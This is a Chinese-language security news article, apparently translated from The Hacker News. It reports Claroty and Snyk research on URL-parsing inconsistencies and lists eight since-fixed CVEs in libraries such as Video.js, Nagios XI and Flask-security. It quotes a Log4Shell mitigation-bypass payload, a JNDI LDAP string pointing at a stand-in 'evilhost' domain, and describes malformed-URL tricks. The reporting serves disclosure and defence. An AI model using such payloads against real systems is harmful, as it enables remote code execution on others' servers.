聚焦源代码安全,网罗国内外最新资讯!
编译:代码卫士
网络安全公司 Claroty 和 Synk 联合分析了16款不同的第三方 URL 解析库,结果发现八个不一致和混淆问题,可用于绕过验证并易受大量攻击向量影响。
这些第三方库通过C、JavaScript、PHP、Python 和 Ruby 语言编写而成,广泛用于多款 web 应用程序中。研究人员发布报告指出,“URL 解析中的混淆问题可导致软件(如web应用程序)异常行为,使攻击者触发拒绝服务条件、信息泄露或执行远程代码执行攻击。”
URL是用户请求和检索本地资源或 web 资源的根本机制,解析库解释URL 请求的不同方式可为用户带来重大风险。比如 Log4j 日志框架中的 Log4Shell 缺陷产生的原因是,其它动态生成的字符串可在日志记录时取代某些特殊字符串,导致JNDI 查询连接到攻击者运行的服务器并执行任意 Java 代码。尽管Apache 软件基金会 (ASF) 快速推出修复方案解决该弱点,但不久发现特殊构造的 "${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a}" 格式的输入可绕过缓解措施,继而再次允许远程 JNDNI 查询实现代码执行。
研究人员表示,“绕过是因为JDNI查询进程使用了两个不同的 URL 解析器,一个用于验证URL,一个用于提取URL。根据每个解析器对待URL 中Fragment 部分 (#) 的不同方式,Authority 组件(域名和端口的组合)也会发生变化。“具体而言,如果输入被当作常规的HTTP URL 对待,那么 Authority 组件就会在遇到片段标识符时终止;然而,如果被当作 LDAP URL 对待,那么解析器就会将完整的 "127.0.0[.]1#.evilhost.com:1389" 分配为 Authority,因为 LDP URL 标准并不规范片段。
确实,使用多个解析器是发现这八个漏洞的两大原因之一,另外一个原因在于库遵守不同的URL标准导致不一致问题,从而引入可被利用的漏洞。不一致的情况包括混淆如包含反斜杠 (“\”) 的URL、不常见的斜杠数量(如 https:///www.example[.]com)、或URL 编码数据 (“%”) ;和缺失URL方案的URL,可被用于获得远程代码执行缺陷,甚至发动 DoS 和开放重定向钓鱼攻击。
8个漏洞
研究员发现的8个漏洞如下且这些漏洞已修复:
Belledonne's SIP Stack (C, CVE-2021-33056)
Video.js (JavaScript, CVE-2021-23414)
Nagios XI (PHP, CVE-2021-37352)
Flask-security (Python, CVE-2021-23385)
Flask-security-too (Python, CVE-2021-32618)
Flask-unchained (Python, CVE-2021-23393)
Flask-User (Python, CVE-2021-23401)
Clearance (Ruby, CVE-2021-23435)
研究人员指出,“不同的解析原语可导致很多真实的攻击场景。要保护应用程序免遭 URL 解析漏洞影响,有必要完全了解整个流程所涉及的解析器以及解析器的不同之处如它们如何解释不同的畸形URL以及它们所支持的URL类型。“
推荐阅读
第三方组件曝多个严重漏洞,飞利浦 Vue PACS 医学成像系统受影响
第三方依赖关系的风险:利用数十个易受攻击的 NuGet包瞄准 .NET 平台
微软反向 RDP 漏洞补丁不当,第三方 RDP 客户端易受攻击
原文链接
https://thehackernews.com/2022/01/researchers-find-bugs-in-over-dozen.html
题图:Pixabay License
本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。
觉得不错,就点个 “在看” 或 "赞” 吧~